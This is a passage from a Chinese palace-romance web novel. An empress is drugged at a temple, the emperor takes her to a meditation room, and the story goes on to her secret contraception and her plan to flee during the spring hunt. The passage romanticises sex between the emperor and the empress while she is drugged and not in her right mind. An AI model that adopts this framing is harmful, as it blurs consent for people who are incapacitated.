素月正守在亭子外,谁知道突然看见谢敛来了,身后还跟着薛明宜。 她看了一眼亭中,发现此时的宋璋和薛弗玉之间的距离已经拉开,顿时在心里松了口气。 谢敛没有理她们,他的目光越过这些人沉沉地看向亭子中。 只见亭中薛弗玉靠着自己的宫女坐着,似乎身子不适,而宋璋则规规矩矩地立在离她几步远的地方。 二人之间没有逾矩的地方。 “皇后娘娘似乎和宋大人相谈甚欢。”薛明宜在他身后突然道。 谢敛回头淡淡扫了薛明宜一眼,后者立刻噤声,不敢再说话。 亭中的人也听见了素月等人行礼的那一声陛下。 “宋璋,离开。” 薛弗玉再次道。 宋璋瞥了一眼已经到了亭子外的谢敛,心中苦笑一声,如今就算是他不想走也不得不走,只是他实在担心她的身子,最终在她用眼神再三催促之下,抬腿迈出了亭子。 “见过陛下。” 宋璋见谢敛匆匆而来,结果对方直接与他擦肩而过,根本连看都没看他一眼。 他顿了一下,在心里叹了一口气,然后离开。 薛明宜知道自己的计划落空了,不过反正让陛下看见了二姐姐和宋大人再一处,陛下多疑,必然不会就此善罢甘休。 谢敛原本是想要兴师问罪的,他派来保护她的人都被她留在了外面,跟着她的都是她自己的人,他想问她是不是为了私会宋璋,才故意不让他的人跟着。 然而在看见她的一瞬间,就发现了不对。 “皇后怎么了?”他在薛弗玉身前半蹲。 碧云立刻着急道:“娘娘不慎中药,还请陛下立刻让人寻个大夫来!” 薛弗玉听见谢敛的声音,她与混乱中睁开了眼睛,艰难道:“臣妾臣妾中的药,是” 不等她说完,男人已经重新站了起来,二话不说把人给抱起:“别说话,我现在带你回宫。” 薛弗玉靠在他的怀中,手指无力地攥住他的衣裳,浑身滚烫发软:“来不及了,臣妾身上难受至极。” 她说着话,呼出的热气洒在谢敛的颈侧,他的身体瞬间僵住,身上的肌肉紧绷。 他原本是见她不好受,只想着赶紧把人带回宫中,让太医给她医治,可眼下这种情况,怕是来不及了 “玉姐姐,再忍忍。”他低声道。 说着脚下的步子加快,路过薛明宜的时候,他那一撇带着冰冷的寒意。 然而如今也没有什么想不明白的。 他没有理会薛明宜在背后唤他,带着人直接下了后山,去了后院给他准备的禅房。 薛弗玉无意识地紧紧贴着抱着自己的谢敛,她的双唇微微张开喘着气,感觉到自己被轻轻放在了柔软的榻上,努力睁开自己的眼睛,模糊之中瞧见朝自己俯身而下的男人。 她下意识抬手搂住对方的脖子。 被她主动搂住的男人身体蓦地一顿,接着低头朝着她嫣红润泽的唇瓣覆了上去。 很难受。 这是薛弗玉自药性发作以来的感觉,身体难受得厉害,那种难受逐渐侵蚀到了骨头缝里面,窒息的感觉让她不得不大口喘气。 女子的头一次在这种事上这般主动,只要他离开一会儿就会贴上来,恨不得与他不分来。 然而谢敛知道这只是她中了药的结果,这些日子她待他分明是冷淡的。 可他宁愿自欺欺人,此时的她是清醒的,愿意与他做尽这世间最亲密的事。 “陛下,臣妾很难受” 谢敛从她的身前离开,薛弗玉又想要紧贴而来,此时的她已经失去了理智,又或者说是因为知道眼前的人是谢敛,所以彻底放心。 男人褪下自己身上的衣裳,又按住她,伸手去解她的衣裳。 “再忍耐一下——” 他的话没说完,身前的女子已经贴了上来,双手捧住他的脸仰起头猛地一口咬住了他的下唇,然后反复厮磨。 本来为了不伤害她而克制着的男人,双 眸骤然一深,直接撕扯掉了她身上的衣裳,转而一只手掌禁锢住她的后脑,反客为主压了下去。 这些日子她待他冷淡多久,他就有多想她,如今被她撕开了一道口子,男人对她的掌控欲和占有欲瞬间就占据了理智。 薛弗玉带着哭腔的声音断断续续传来,落在男人的耳中让他心疼的厉害,他不得不咬牙继续。 不知道过了多久,男人与她十指相握,俯身吻了下去。 “玉姐姐” 他一遍遍声唤着她,低哑的声音落在怀中的薛弗玉的耳边,她于混乱中应了他一声。 好不容易得到了她的回应,男人顿时将她抱得更紧了。 混沌间,薛弗玉只觉得禁锢在腰侧的两只手,稍一用力像是要把人给折断。 外面的天色不知不觉从白天到了夜晚,最终她脱力地倒下,很快又被男人那双结实的手臂给捞起。 天旋地转之间,有汗珠滴在她的脸上,接着又被男人吻去。 在她不知第几次之后,她总算是找回了自己的理智,哑声对着再次吻在她雪白肩头的男的道:“不要了” 她想要抬手去推他,结果发现连动一根手指的力气都没有。 “玉姐姐,我还难受着。”男人委屈的声音贴着她的耳畔响起。 说着又堵住了她的双唇。 从白天到后夜,禅房内的檀香混着暧昧的味道才渐渐消失。 薛弗玉不知道何时昏睡了过去,谢敛睁开眼睛,小心翼翼松开依偎在怀中的女子,然后下了榻。 起身穿衣的时候,垂眸正好看见自己胸膛上好几道的抓痕,这些都是激烈时被她留下的。 穿戴好衣裳,他又亲自替她擦拭了一遍身子。 看着她瓷白肌肤上留下的众多暧昧的青紫红痕,他只得让自己的动作变得更加小心。 她的肌肤太过娇嫩,稍一用力就会留下印子。 替她上了药之后,他又给她盖严实被子,遮住那一身的春光,最后他独自坐在一旁。 幸而今日他赶到了这里,不然后果不堪设想,若是宋璋一直留在那里,他不敢去想玉姐姐会不会与宋璋 一想到会有这种可能,他的脸色就阴沉了下去。 他不知道在禅房坐了多久,直到天空泛起了鱼肚白,身后榻上的女子突然有了动静。 于是他走到屏风后去洗帕子,想要亲自帮她洗漱。 薛弗玉听见一点水声,她的脑子还有些不太清醒,浑身上下都不舒服,尤其是难以启齿的那处,更是带着不适。 从前在床笫之事上,谢敛懂得怎么让她舒服,这次许是因为她中了药,缠得他失了耐心,所以下手才会重了许多。 听见房中的水声,她以为是碧云在。 她想起这一次与他这么久,顿时对着屏风后道:“碧云,快把避子药拿给我。” 话才说完,那边突然没了动静。 她顿时感觉到了不对的地方,于是撑着身体坐起身往屏风外看去,却陡然看见屏风后走出来的人。 不是碧云,而是谢敛。 她的脸上露出错愕的神情。 怎么会是他? 她看着面无表情朝着自己走来的男人,心跳声逐渐盖过了他的脚步声。 “你方才,说的什么?”平静地声音在屋子里缓缓响起。 薛弗玉拥着被子,指尖泛白。 直到男人高大的身影在她跟前停下,她扬起头对上那双浓黑的眼眸,片刻之后,她躲开他的目光。 “臣妾说过,不愿意再为陛下生下皇子。” 她说这话的时候,努力让自己冷静。 “玉姐姐,当真是无情。”谢敛盯着她道。 前一晚还抵死缠绵的两个人,眼下却又变得剑拔弩张。 原来她竟是到了与他欢好之后,主动服用避子药的地步,谢敛的一颗心顿时像被什么东西狠狠敲击了一下。 他死死看着她:“玉姐姐还是不愿意相信我么?” 上次他的妥协难道还不够让她对他生出一点的信任? 薛弗玉只觉得脑中一片混乱,她干巴巴道:“臣妾没有不信任陛下。” 服用避子药,不过是为了以防万一。 这种事情谁说得准呢。 “多久开始的?” 谢敛不信她只是这一回才服用了。 她沉默,也让谢敛明白,或许在那一晚他对她说出让她再给他生一个孩子的时候,她就让人瞒着他去配这药了。 “以后不要再吃了。”他突然道。 外面配的药不如张蘅配的,吃多了到底伤身。 然而薛弗玉却摇头:“臣妾说了不想再怀孕,除非陛下不再碰臣妾。” 不再碰她,怎么可能? 他恨不得次次都像这一次一样。 “玉姐姐,你非要与我这样么?”他唇角微抿,想要伸向她的手跟着垂下。 “陛下救了臣妾这一回,臣妾心存感激,可臣妾吃避子药,也不过是自保而已。”她轻声道。 然而她每提起一次避子药,无疑是在往他的心上扎刀子。 “怀上朕的孩子,就让你这么难受?”谢敛声音渐渐带上了沙哑。 薛弗玉不想与他在这件事上拉扯不清,她问:“陛下知道是谁给臣妾下药的吗,若是臣妾说了,陛下可会处置了她?” 谢敛见她突然转移话题,不愿回答他的问题,他压下心里苦涩,道:“她还有用,暂时不能动她。” 罪魁祸首是谁,他们二人之间心知肚明。 然而等谢敛再一次偏袒薛明宜的时候,薛弗玉的心竟然平静无波,再也没有了先前难受,过了一会,她唇边扬起一抹淡笑:“陛下如此袒护她,下药一事臣妾可以当做没有发生,陛下若实在是想要她,也不是不可以,只是能不能放臣妾出宫?” 她的笑落在他的眼中,却向一把刺向他心脏深处的刀。 他脸色一白,有些不敢相信:“玉姐姐,你知道你在说什么?” 薛弗玉道:“臣妾知道自己很清楚在说什么,陛下如今与在旧宫时不同,不用被迫继续与臣妾绑在一起。 如今陛下想要什么都可以,陛下想护着她也可以,但是要放臣妾出宫,如若不然,臣妾就把她陷害臣妾的事情昭告天下,让大家看清楚成王妃究竟是个什么样的人。” 其实她知道他不会轻易放她出宫,可她也不甘心薛明宜害了自己,却得不到任何的处罚,如今她不过是想要逼他一把。 谢敛却没有在意她的威胁,他的脑中只剩下她方才说要出宫的话,彻底离开他的话。 他弯腰猛地攥住她的腕骨,红着一双眼眶,仿佛用尽了全身力气地问:“玉姐姐,难道你不要我和昭昭了么?” 第56章 薛弗玉被他紧紧攥着手腕,她身上没有力气,只能由着他动作。 她冷声道:“陛下,臣妾只想要惩罚害了臣妾的罪魁祸首而已,臣妾已经容不下她了,您执意护着她,臣妾也就只好离开,好让她留在您的身边,这不是正好合了您的意?” 这些话乍一听像是普通妻子吃醋的话,可细听之下,其实她根本就不在意薛明宜和谢敛之间如何,她真正的目的不过是出宫而已。 她说这么多,也不过是试探他的态度。 而谢敛也明白她真正的意图。 他攥紧了她的手腕,仿佛只要他一松开,她就会彻底消失不见,他哑声道:“玉姐姐,我不是让你走的,至于成王妃,你再等等,我一定会给你一个交代。” 只要春猎结束,清除了京中的突厥人,他自然会收拾薛明宜。 “如果我现在就要你处置她呢?”薛弗玉执拗地问。 她的眼中只剩下平静,就好像在逼他做一件很重要的决定,如果他继续选择护着薛明宜,她真的会毫不留情地离开他。 谢敛原本以为这些日子已经习惯了,结果再次被她用冷静的眼神看着时,还是感觉自己的心脏像是被什么用力攥紧了,让他感觉呼吸都变得困难。 他猛地把人给拉进怀中紧紧抱着,说话的声音都带着颤抖:“玉姐姐,不要这样看我,更不要逼我。” 薛弗玉脱力地被迫依在他的怀中,一颗心也慢慢沉了下去,刚才不过是试探,如今她的心里也有了答案。 看来给先前给阿弟写信求助是对的。 谢敛不会放她离开。 既然谢敛不愿意心平气和地放她走,那么只能自己想办法回西北了。 “好,臣妾不逼你,只是陛下别忘了,日后清算成王妃的时候,加上昨日那一笔。” 她枕在他的肩膀,语气明显软了下来,没有了冷淡。 可就算是她眼下松口,谢敛也不敢有所松懈,这些日子他总是隐隐有种不祥的预感,就好像她随时都会消失一样,这种不安像是悬在头上的一把剑,他不知道它什么时候会落下。 所以在她前往护国寺的时候,他会担心,最终无心处理政事,抛下那些繁琐的事情前来护国寺寻她。 “再等等,我不会放过害了你的人。”似是保证的话钻进薛弗玉的耳朵。 谢敛将下巴搁在她的发顶,闻着她身上的幽香,杂乱的心跳才渐渐归于平静。 片刻之后,薛弗玉轻轻推开了他,“陛下,臣妾饿了。” 昨天被折腾了许久,连晚膳都没有吃,如今醒来,她倒是觉得有些饿。 谢敛这时候才发觉她的身上未着寸缕,听着她略带沙哑的嗓音,他最终松开了她,“我去让人给你准备新的衣裳和早膳。” 只是他开门之前,又忍不住回头看了她一眼,却发现女子拥着被子安静地坐在榻上,一双美目微微垂下,不知道在想什么。 他掩在袖中的手下意识攥紧,最终抬腿跨出了房门。 “好好守在这里,别让人打扰了皇后。”谢敛唤来几名宫人,冷声吩咐。 房门关上的那一瞬,薛弗玉似乎没听见他的话,眼睫闪了闪,最终又重新躺了回去。 她盯着头顶的房梁出神。 离春猎所剩的时间不多了,她迟迟没有收到阿弟的消息,心中难免会有些着急。 她在信中多次提及春猎,也不知道阿弟能不能看明白她的意思。 谢敛不愿放她出宫,她只能自己想办法,而春猎就是一次机会,她想要借着春猎逃离这里。 如今她对这里再也没有任何的留恋,唯一让她放不下的就是昭昭,可是权衡利弊后,她觉得昭昭留在宫里,总比跟着她四处奔波得好。 昭昭没有她还有谢敛,还有那些陪伴着她的宫人,或许等时间久了,昭昭就会忘了自己。 她按住酸涩的眼睛揉了揉,最终闭上了眼睛。 等她再次醒来的时候,她的身上已经被人穿上了中衣。 “娘娘,您醒了。” 耳边是素月的声音。 薛弗玉坐起身,外头天色已经大亮。 她问:“什么时候了?” 素月回答:“巳时一刻,奴婢去让人把早膳给娘娘送来。” 薛弗玉点头,她扫了一眼房中,发现没有了谢敛的身影。 心里突然松了一口气。 她下床穿好鞋袜,伺候的宫人立刻上前扶着她前去洗漱。 许是被折腾狠了缘故,薛弗玉只觉得自己的腿还是有些软,还有腰部也酸软得厉害。 只是她仍旧没有忘记要吃避子药的事情。 “你们先出去,让碧云来伺候就好。”薛弗玉吩咐道。 那些人识趣地退下。 碧云把拧干的帕子递给她:“娘娘身上可还好?陛下让人找的大夫已经候在外面了,可要先请大夫给娘娘瞧瞧?” 她有些担心,昨日娘娘中了那种药的场景还历历在目,若不是陛下来得及时,说不定娘娘已经 薛弗玉接过她递上前的帕子,随便擦了擦脸,而后道:“我让你随身带着的避子药呢?给我。” 碧云没想到在这种时候,薛弗玉还记得要吃避子药,心想她是真的铁了心不想要怀陛下的孩子。 “娘娘,眼下奴婢们都能看出陛下爱重娘娘,娘娘何不为了公主,也算是为了自己的将来,好好地怀一个小皇子,奴婢问过张太医,他说娘娘的身子已经彻底养好了,再次生育是不会有风险的。” 这些日子她看着娘娘对陛下态度冷淡,而陛下却没有因为娘娘的冷待而生气,想来陛下是真心喜欢娘娘。 她不希望娘娘以后后悔,同时也不明白为何娘娘这般抗拒。 薛弗玉根本不想听碧云的话,她深深叹了口气,再次道:“碧云,人总得为了自己活着,我前十年为了阿弟,为了昭昭活得小心翼翼,甚至在生产昭昭时差点丢了性命,我爱他们,可我更要爱自己呀” 说着她朝着碧云伸出了手,脸上是不容拒绝的神情。 这是碧云最后一次劝,见还是劝不动,只好从身上拿出一个小瓷瓶,从瓶口处倒出一粒深褐色的药丸放在她的掌心。 “奴婢方才的话娘娘就当是没有听过吧。” 说完她转身去给她带了一杯茶,方便她吃药。 薛弗玉干脆地吞下那粒难以下咽的药丸,漱口后她问:“陛下呢?” 以现在谢敛对她的着紧,必然不可能扔下她一个人就回去了。 碧云一边替她挽发髻一边回答:“陛下一早就去了供奉老爷和夫人牌位的大殿,此时应是还在那里。” 这倒是让薛弗玉有些意外。 但是很快她又平静道:“我知道了。” 他在那里的话,她便不想去了。 用完早膳后,薛弗玉让谢敛请来的女医替她把脉瞧了一下身体。 这女医经常出入风月场所替那些姑娘看病,什么场面都见过,她瞧了一眼薛弗玉手腕上留下的指印,道:“幸好这药娘娘解得及时,如今身体里的毒性已经清除,日后不会留下隐患,只是娘娘中的这种药倒是有些特别,不像是咱们中原的,倒像是西北之外的蛮族所有。” 西北之外,蛮族。 薛弗玉蹙眉,薛明宜怎么会有这种药的,大周和外族早在十年前就禁了商贸来往。 她突然想起在春郊林间碰上那名男子,后又看见薛明宜出现在那里的事。 难不成是,薛明宜和那名男子认识? 过往的种种慢慢出现在脑中,她感觉到京中仿佛在酝酿着风暴,似乎有什么东西就要被她抓住。 “娘娘,这是陛下让我给您的药,这药早晚间抹在患处不出几天很快就好。” 女医打断了她的思绪,把药放在了桌面。 薛弗玉面不改色地让碧云收好之后,又让宫人把女医送了出去。 送走了女医,用早膳之后谢敛仍旧没有回来,她便想着回宫,许是谢敛料到了她会想要抛下他自己先回宫,于是让人守在禅房门口,告诉她,他会和她一起回去。 她不想呆在这座禅房之中,只要一看到里面那张榻,她就会莫名想到与谢敛在榻上缠绵的场景。 若不是薛明宜给她下药,她何至于对谢敛那般热情? 但是一想到这可能是他们最后一次,她便压下了心里的气闷。 她走出禅房,在庙中随意走动。 走到一处挂满红绸的树下时,她突然瞧见一道熟悉的身影。 少女穿着浅绿色的衣裳,头上扎着的淡黄色发带被风吹得飘了起来,此时她的手中正拿着一根红绸,她找到一根满意的枝条,举起手踮起脚尖努力往上面挂红绸。 挂满之后,她抬手擦了擦额头的汗,转身准备离开。 谁知道看见身后不远处的女子时,她的双眼顿时亮了起来,脸上露出略显羞涩的笑意。 对方见了她,也对着她微微一笑。 楚莹立刻上前,对着她行礼:“见过皇后 娘娘!” 语气中带着藏也藏不住地高兴。 薛弗玉扶着她起来,柔声问她:“表妹方才是在挂什么?” 楚莹没想到她还愿意叫自己一声表妹,顿时脸上染上害羞的红,她不好意思道:“是祈福带。” 薛弗玉不过是随口一问,想着她在上面写的应该是替家人祈福的话语。 “是为娘娘和,和薛将军祈福的。” 少女到底是没忍住说了出来,她实在是喜欢皇后娘娘,又得知薛岐帮自己家人脱困也有皇后娘娘的意思,心中更是对皇后娘娘感激,于是趁着这个机会找小沙弥要了祈福带,替他们姐弟二人祈福, 薛弗玉倒是没想到这小姑娘这般实诚,眼中出现意外的同时又觉得心中涌起一股暖意。 “不过是举手之劳,表妹也帮了我的忙。”她浅笑着道。 楚莹不好意思地挠了挠脸,想起自己来这里的正事,她拉住薛弗玉的袖子,趁机把手上叠好的一张纸塞到她的手中:“娘娘快收好。” 即便是第二次做这种事,楚莹的心跳还是跳得很快,尤其是想到薛岐竟是要她在春猎那天帮的忙,她感觉自己的心跳变得更快了,她胆子本就不大,被薛岐委以重任时感觉自己在做梦。 换做是从前给她几个胆子她都不敢做。 然而她自己与他说的要报答,最终只能硬着头皮答应了。 “他说了其余的事情娘娘不用担心,只要等春猎那天就好,他都会安排好的。” 薛弗玉手中紧紧握着那张纸,她郑重地点头,然后对着楚莹道谢:“谢谢。” 楚莹红着一张脸道:“娘娘不必与我客气,我不能在这里久留,就先走了!” 说着她屈膝后很快就离开。 楚莹一只手捂着自己狂跳的心脏,很快就离开护国寺,在山门附近上了一辆不起眼的马车。 吊儿郎当的男子早已经在这里等候多时,他看见慌慌张张钻进马车的少女,眉毛往上一扬,毫不客气道:“怎么跟做贼似的?” 楚莹深呼吸了几个来回,等自己渐渐平静下来之后,才不好意思道:“你不是说陛下也在吗,我害怕碰上他,万一被他看出不对的地方,肯定不会轻饶我。” 从第一次见到皇帝之后她打心底里就害怕对方,那是天底下最尊贵也最高高在上的人,别说是在他跟前说话,就是被对方轻描淡写地扫一眼她都能腿软。 “出息。” 薛岐单手撑着下巴,看着少女因为紧张和害怕而通红的脸,轻嗤一声。 他突然有些担心,她胆子这么小,春猎那天他把这么重要的事情交给她去做,她真的不是搞砸吗? “不会搞砸的,你放心” 似乎看穿了他的想法,身边的少女正经着一张脸道,眼里含着前所未有的坚定。 薛岐这一回倒是没有调侃她的意思,他正了正脸色,认真道:“具体要如何做等春猎前一天我会再告诉你,你只需要按照我说的去做就行,其实不用你做什么,很简单的一件事,不过不管发生什么事,你自己的安危同样重要。” 楚莹重重点头,表示她明白了。 皇后娘娘和他帮了她的家人,她自然会努力报答他们。 薛岐双手放在脑后,放松地背靠车壁。 这几天他已经和陆骞拿到了突厥人的计划。 他们竟是想要利用春猎再一次刺杀大周皇帝。 薛岐虽然不喜欢谢敛,但是为了大周,自然是不会让他们得逞的,不过他可以利用这一次的刺杀,帮助阿姐离开京城。 陆骞想要来个瓮中捉鳖,不会阻止那些人潜入巫溪山。 这样正合了他的意—— 作者有话说:除夕快乐[烟花],评论区有红包掉落,感谢一路以来支持的小天使们[抱抱] 第57章 大周皇帝每年都会在暮春时节携皇后一起举行春猎,前几年的时候薛弗玉身子不好,所以并未跟着前往。 今年却有所不同,谢敛似乎想要向所有人证明什么。 不等她主动问起的时候,已经亲自前来凤鸾宫和她说了,要她一同前往,让朝廷百官知道,他与皇后恩爱不疑。 自护国寺回来之后,谢敛想了许多的事情,最终做了一个决定,这个决定虽然注定会引起朝臣的反对,但只要能让薛弗玉心甘情愿地留在他的身边。 他想要借着春猎的时候透露这个决定,届时也好让朝臣有个心理准备。 对于他的主动提起,薛弗玉倒是有些意外,她以为在护国寺与谢敛摊牌之后,以为他不会再让她离开皇宫一步,却没想到这一次的春猎竟是要把她带上。 不过也是,这段时日他待她比以往都要不同,除了上朝之外的时间恨不得时时与她粘在一起,生怕一个不留神她就不见,听人说他还动了让她搬去紫宸殿的念头。 许是因为知道她吃避子药的事情,护国寺回来之后,这半个月来他破天荒地没有再碰她,最多是在就寝的时候抱着她睡。 除此之外再无其他。 但是太迟了,若是早在薛明宜回京之前,他能像现在这般对她,说不定她也不会生出要离开皇宫回西北的念头。 她决意回西北,做了这个决定,任何人都不能阻止她。 马车摇摇晃晃的,让她的思绪飘得更远了。 “娘娘,离巫溪山还有三个时辰的时间,可要先睡会儿?”素月问。 她们一大早就随着队伍浩浩荡荡地出发,眼下已经是晌午,不想竟是还没到山脚。 坐在马车里实在是无聊,然而一想到自己这一次能借着春猎远离京城,心中隐隐的兴奋让她暂时睡不着。 “不必了,去把那本杂记取来。”薛弗玉道。 睡不着索性看书打发时间,那本杂记写的也是西北一带包括西域几国的奇闻轶事,她喜欢看这些,仿佛这些文字能化作一幅幅生动的画面,让她也跟着走了一遍笔者脚下的路。 昭昭也喜欢听她念这些奇闻趣事。 想到昭昭,她的双眸垂了下去。 许是小姑娘预感到了什么,最近这些日子总是缠她缠得厉害,甚至在昨晚的时候如何都不肯回棠梨宫,赖在她的凤鸾宫不走,薛弗玉自然也舍不得女儿,最后让女儿在自己的寝殿陪着睡了一晚,谢敛则被她赶去了偏殿。 今早起来的时候,小姑娘还在睡觉。 心中虽然极度地不舍,可她知道这一次的分别,或许对她们都好。 就是不知道下一次再见到昭昭,是什么时候。 她把这些年自己所积攒的东西都留给了昭昭,即便将来谢敛有别的妃子,那些东西也足够昭昭富贵一生。 一辈子都是个体面的公主。 “素月,碧云,若是我哪天不在了,你们二人就去公主身边服侍公主,万不能让公主被别人欺负了去。”她突然道。 素月和碧云骤然听见她说这话,二人心中皆是一惊,脸上露出不解的神情,素月道:“娘娘说得什么话,娘娘的身子已经大好,定会长命百岁的。” 倒是一旁的碧云渐渐明白了她的意思,她之前以为娘娘只是不愿意再给陛下生下皇子,谁知道娘娘竟是真的要离开皇宫,离开公主和陛下。 她这才惊觉这些日子娘娘为何要给公主做那么多的贴身衣物,还让她重新整理了私库里那些物什的单子,吩咐她要妥善保管好,日后留给公主。 当时她还打趣公主才四岁,娘娘就开始给公主准备嫁妆了。 “娘娘——”碧云张了张嘴,最终见她神色平静,只好道:“若是娘娘不在,奴婢们自然会好好服侍公主,绝不会让人欺负公主。” 素月转头瞪向碧云,她惊讶道:“碧云姐姐,你在说什么,娘娘好好的,怎么会不在,呸呸呸,快别说了!” 薛弗玉瞧见她的表情,心情难得好了一些,她笑道:“素月跟着我也有六年了,再过几年就能出宫,我已经替你准备好了,等你 出宫的时候就是个小富翁了。” 素月没想到她会说这个,她看了一眼坐在身旁的碧云,难得露出少女的一面,红了眼睛:“奴婢不想出宫,奴婢想和碧云姐姐一样一直呆在娘娘的身边。” 薛弗玉拍了拍她的手背,“那你好好跟着你碧云姐姐,若是哪天想出宫了就出宫去吧。” 碧云是自小跟着薛弗玉的,此时她也希望娘娘若是走的话,也能把她给带上,可方才她已经明白,娘娘要把她留在公主的身边照顾公主。 几年前娘娘也曾给过她一大笔钱,想要放她出宫,只是她不愿意,在她心里,她早已把娘娘当做了姐姐,如今娘娘把公主托付给她,她自然会尽心尽力照看。 现在她大约也猜到了几分,娘娘这是在临走前最后交代她们。 “请娘娘放心。”她道。 车内的气氛一时变得有些沉闷,薛弗玉又与她们说了一些其他的事宜,最终道了声累了,闭上眼睛假寐,遮住了因为舍不得女儿而泛红的双眼。 只是不知为何,闭上眼睛后她脑中除了昭昭之外,还有谢敛的身影。 也是,她与谢敛成亲十年,即便是对他没有男女之情,总归还是有点亲情在的,但要说舍不得他,却也没有。 许是将要离开他们,她的心脏深处传来丝丝难受,她抬手按在心脏处,感受着它平稳的跳动。 大约是坐马车坐累了,她不知不觉又睡了过去。 等她再次醒来的时候已经到了巫溪山。 营帐早已提前扎好,比上次她在春郊时的还要大还要豪华。 她被人扶着下了马车,却不见谢敛的身影。 明日春猎才是正式开始,既然谢敛不在,她更加乐得自在,自己进了五脏俱全的营帐中。 本以为帝后的营帐是分开的,谁知道在看见里面还放置了男人的衣物等物什后,她愣了一瞬。 “陛下也和本宫同住这里?” 她问跟着进来的宫人。 之前她听说春猎的时候帝后是分开住的,谢敛这样真的好吗? “回禀皇后娘娘,陛下确实是与娘娘同住在这,陛下还让奴婢们准备娘娘爱吃的瓜果点心,娘娘舟车劳顿,可先吃点东西垫一垫肚子,等晚上的时候还请娘娘收拾一番与陛下一同面见那些大臣。” “本宫知道了,你们下去吧。” 她脸上的神色让人看不出任何高兴的影子。 按理说和陛下同住一个营帐更能彰显陛下对皇后娘娘的爱重,谁知道娘娘听了之后神色淡淡。 难不成娘娘和陛下闹矛盾了,如今陛下做这些都是在哄娘娘? 宫人猜测着便下去了 谢敛到了巫溪山,第一件事就是诏了陆骞前去见他。 他们二人站在一处隐秘的地方,周围除了侍卫之外,还有好几名隐在暗处的暗卫。 “明日按照计划,切勿打草惊蛇。” 谢敛负手而立,背对着陆骞。 半月前陆骞得到了那群人的计划,惊觉先帝还在时,那些人便往京中和宫里安插了不少人,虽然宫里的人除了小安子之外,全部都被悄无声息处理掉了。 但是京中各处的探子不计其数,甚至还有一群杀手。 他和薛岐忙活了大半个月才摸清楚了那群人的老窝在哪里。 最终费了好大的力气潜入他们的老窝,想方设法得到了他们的计划。 “陛下放心,薛将军和臣已经安排好了人手,届时那群人动手之时,正好给他们来个瓮中捉鳖。” 陆骞是他的心腹,而薛岐是玉姐姐的弟弟,对于这事谢敛全权交由了他们二人,没有任何怀疑。 可不知为何,尽管计划周密,但是他的心中却隐隐透着几分不安来。 他突然道:“届时一定要保护好皇后,不能她有任何的闪失。” 陆骞知道皇帝对皇后的看重,自然是不敢马虎,他道:“臣会多安排些人守在皇后娘娘的身边,定不会让那些人伤害到娘娘半分。” 还不够。 谢敛敛眉,他还得派几名暗卫守着玉姐姐,这次的计划虽然万无一失,但他只要一想起上元夜在街上时的场景,就会生出后怕来。 那些人的目的虽然是他,但是难保会不会有人浑水摸鱼。 “林季,明日派人去保护皇后。” 等陆骞走了之后,谢敛又对着暗处的林季吩咐。 林季听到他的话差点从树上摔下去。 他的暗卫本是用来保护陛下的,明天那群刺杀的人本就是冲着皇帝去的,本来陛下就撤去了一些人手保护皇后娘娘,要是再撤去几名暗卫,陛下身边不是更危险了吗? 迟迟等不到林季的回答,谢敛一个眼风扫去,林季立刻应了声是。 即便是已经尽量想周全了,可是谢敛心里却没有松了一口气的感觉。 最终他只能归结为是因为没有彻底地拔除那些突厥人。 晚上,薛弗玉换了身衣裳,被宫人带着前去设宴的地方。 身在山中,自然什么都比不得在宫里。 薛弗玉来到一处开阔的地方,这里面搭了两排的棚子,棚子里坐了些大臣和他们的家眷 春猎的时候,除了皇帝要携皇后出行之外,那些王公贵族和大臣也能带着自己家眷一起。 众人见皇后娘娘来了,皆起身行礼。 薛弗玉的目光扫过他们,最后在宋璋的身上停留了一瞬。 这一次大约是最后一次与他见面,日后也不知道能不能再见了,她想。 感觉到一道视线落在自己的身上,薛弗玉很快就收回自己的目光,温声让他们起来,然后继续朝着上首的座位走去。 谢敛早已坐在了那里,他手边的杯子已经空了,看来是刚喝了酒。 见她上前,他伸手牵住她的手,拉着她在他的身边坐下。 “手怎么这么凉?” 感觉到她微凉的手掌,谢敛皱眉。 虽然是暮春,但是山中的夜晚总是要比别的地方冷些,山风吹来的时候更是会让人忍不住打一个冷颤。 “许是方才来的路上吹了点风,臣妾没事的。” 薛弗玉难得没有抽回自己的手,而是顺着坐在了他的身边。 想着明日就可以不再见到身边的男人,她对他到底是宽容了许多,与他说话的声音又回到了从前的温柔。 她难得的温柔让谢敛的心像是突然被什么填满,他对着身后的人吩咐:“去把披风取来。” 很快宫人就取来了披风,谢敛亲自替她给披上,仔细帮她系好身前的带子。 这些举动落在低下那些人的眼中,自然是让不少人暗暗羡慕。 而宋璋从始至终都没有看向他们二人一眼,独自喝着酒。 “崔姐姐,我还没有恭喜你呢。” 崔婉正若有所思地盯着帝后二人,突然听见身边的王家妹妹与她道喜。 皇帝赐婚一事谁也没有料到,崔婉不知道自己和宋璋之间八竿子都打不着的人,为何皇帝会突然赐婚他们二人。 虽然心中不甘,可陛下赐婚却是板上钉钉的事,敢抗旨不尊的话除非是不想活了。 她强迫自己露出几分羞涩的笑:“王妹妹客气了。” 底下的人心思各异,上首的帝后俩人也各怀心事。 谢敛偶尔与那些大臣说话,而薛弗玉则安静地坐着吃东西,甚至还有心情喝了杯果酒。 就在她要喝第三杯的时候,身旁的男人终于忍不住制止了她,“果酒后劲大,喝多了后面会醉。” 薛弗玉觉得自己就要走了,这男人也是最后一次管她,所以并未说什么,没有再喝那杯果酒。 见她今晚这般听他的话,谢敛觉得她终于又变回了原来温婉柔顺的玉姐姐。 他在案下忍不住偷偷握住了她的手。 却被她嗔了一眼:“陛下这样握着臣妾的右手,还让臣妾怎么吃东西?” 谢敛却没有要松开她的意思,而是心情颇好的夹了一块她喜欢吃的送到她的嘴边,“朕喂你吃。” 薛弗玉: 到底是不能在这么多人的面前拂了他的面子,薛弗玉檀口微微张开,最终吃了下去。 她对上那双看着她时带了温情的眸子,很快又移开了目光。 半晌,就在谢敛第四次夹了吃食送到她的嘴边时,她终于拒绝了:“陛下,臣妾饱了,方才喝了酒头有些晕,臣妾想要先回营帐休息。” 谢敛瞧见她的脸颊确实染上了薄红,双眸泛着潋滟水色,整个人美得毫无攻击性,随便一个表情动作对他来说都是致命的勾引,他不愿意让底下的那些男人看见她这副眉目含春的样子。 于是侧身挡住那些想看向她的视线,靠近她道:“回去的时候小心,我多叫几个人护着你。” 奇怪的是他明明喝了酒,可靠近的时候,她却没有闻到丁点的酒气,反而是他少年时身上一直带着的淡淡檀香。 薛弗玉摸了摸自己的脸,似真的喝醉了一般,片刻后,她乖乖点头算是回答。 谢敛看着她这副样子,突然有些心痒难耐,然而大庭广众之下,他最终没做什么,只是捏了捏她的手,最后才恋恋不舍地放开。 目送着她离开,直到看不见她的背影,才收回目光。 